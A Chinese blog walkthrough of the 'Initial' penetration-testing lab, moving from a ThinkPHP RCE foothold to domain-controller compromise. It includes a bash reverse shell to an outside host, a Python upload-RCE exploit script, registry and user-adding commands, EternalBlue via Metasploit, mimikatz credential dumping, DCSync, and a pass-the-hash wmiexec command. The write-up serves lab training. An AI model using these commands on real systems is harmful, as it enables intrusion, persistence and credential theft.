春秋云境-Initial

发布于 2023-01-19  1983 次阅读


简介:

Initial是一套难度为简单的靶场环境,完成该挑战可以帮助玩家初步认识内网渗透的简单流程。该靶场只有一个flag,各部分位于不同的机器上。

挑战开始:

首先还是先扫描下端口

nmap -sC -sV 47.92.87.53

发现只开了22和80

访问80端口

正常输入账号密码发现跳转404

换个思路
看到图标,猜测是TP的站

使用fscan测试下存不存在RCE

./fscan -h 47.92.87.53

看来存在rce
尝试复现,成功执行命令

直接拿工具一键写shell

成功shell

权限太低了,尝试提权
这里用的linpeas,蚁剑的命令行不太好用,也不想反弹shell,就凑合输出到文件里面看了

这里感觉sudo有问题

查看下sudo版本

可以尝试使用sudo提权
但是,在历史文件里面看到了这个。。。。。

看起来用的是mysql的sudo提权,查看下sudo-l
果然


那就直接抄答案吧
但这里需要有个交互shell

bash -c 'exec bash -i &>/dev/tcp/162.x.x.x/1234 <&1'

成功提权

成功获取flag第一个部分flag01: flag{60b53231-

接着上传fscan探测下内网环境

172.22.1.2:139 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.18:80 open
172.22.1.15:80 open
172.22.1.15:22 open
172.22.1.18:3306 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.2:88 open
172.22.1.18:139 open
[*] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.1.2      [+]DC DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393
[*] WebTitle: http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] NetBios: 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600
[*] WebTitle: http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

按照惯例应该看172.22.1.18这台机器
先frp做个隧道

可以看到是个协同办公系统

首先翻阅了下文库,找到了一些默认账户和密码
这里admin的hash解开是admin123

尝试登陆admin/admin123
成功进入后台

接着搜索了下版本漏洞,发现了一篇文章
https://blog.csdn.net/solitudi/article/details/118675321

尝试利用,利用的时候要改下url和账号密码base64

import requests

session = requests.session()

url_pre = 'http://172.22.1.18/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'

data1 = {
    'rempass': '0',
    'jmpass': 'false',
    'device': '1625884034525',
    'ltype': '0',
    'adminuser': 'YWRtaW4=::',
    'adminpass': 'YWRtaW4xMjM=',
    'yanzm': ''
}

r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})

filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']

url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'

r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)

成功rce

把执行的命令改成dir就可以获取shell路径

成功找到第二部分flag 2ce3-4813-87d4

因为目标机器没开3389,先开3389

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

接着加用户

net user ljc qwer1234! /add
net localgroup administrators ljc /add

成功登陆

一直卡在这里,未完待续。。。。

更新、、、、
一直没做出来的原因--原来是因为少了太机器--
隔了一阵子重新开靶场试了下,扫了一下,

172.22.1.18:3306 open
172.22.1.21:445 open
172.22.1.18:445 open
172.22.1.2:445 open
172.22.1.21:139 open
172.22.1.18:139 open
172.22.1.2:139 open
172.22.1.21:135 open
172.22.1.18:135 open
172.22.1.2:135 open
172.22.1.15:80 open
172.22.1.18:80 open
172.22.1.2:88 open
172.22.1.15:22 open
[*] NetInfo:
[*]172.22.1.21
   [->]XIAORANG-WIN7
   [->]172.22.1.21
[+] 172.22.1.21 MS17-010    (Windows Server 2008 R2 Enterprise 7601 Service Pack 1)
[*] NetBios: 172.22.1.2      [+]DC DC01.xiaorang.lab             Windows Server 2016 Datacenter 14393 
[*] 172.22.1.2  (Windows Server 2016 Datacenter 14393)
[*] NetBios: 172.22.1.21     XIAORANG-WIN7.xiaorang.lab          Windows Server 2008 R2 Enterprise 7601 Service Pack 1 
[*] NetBios: 172.22.1.18     XIAORANG-OA01.xiaorang.lab          Windows Server 2012 R2 Datacenter 9600 
[*] NetInfo:
[*]172.22.1.18
   [->]XIAORANG-OA01
   [->]172.22.1.18
[*] NetInfo:
[*]172.22.1.2
   [->]DC01
   [->]172.22.1.2
[*] WebTitle: http://172.22.1.15        code:200 len:5578   title:Bootstrap Material Admin
[*] WebTitle: http://172.22.1.18        code:302 len:0      title:None 跳转url: http://172.22.1.18?m=login
[*] WebTitle: http://172.22.1.18?m=login code:200 len:4012   title:信呼协同办公系统
[+] http://172.22.1.15 poc-yaml-thinkphp5023-method-rce poc1

发现多了一台21机器,存在17010
直接尝试打

proxychains4 msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp_uuid
set RHOSTS 172.22.1.21
set LPORT 3335
exploit

成功打上,但是我的msf好像有点问题,进不了shell

所以还是通过加载powershell成功添加用户

load powershell
powershell_execute "net user ljc qwer1234! /add"
powershell_execute "net localgroup administrators ljc /add"

远程上去看了下,但是并没有找到flag
读取下机器密码

load kiwi
kiwi_cmd sekurlsa::logonpasswords

读取到一个域内机器账户,根据提示DCSYNC
成功读取到域内用户hash

kiwi_cmd lsadump::dcsync /all /csv

最后就直接hash传递

proxychains4 python3 wmiexec.py -hashes :10cf89a850fb1cdbe6bb432b859164c8 xiaorang/administrator@172.22.1.2 "type Users\Administrator\flag\flag03.txt"

成功获取flag

flag{60b53231-2ce3-4813-87d4-e8f88d0d43d6}

届ける言葉を今は育ててる
最后更新于 2023-07-31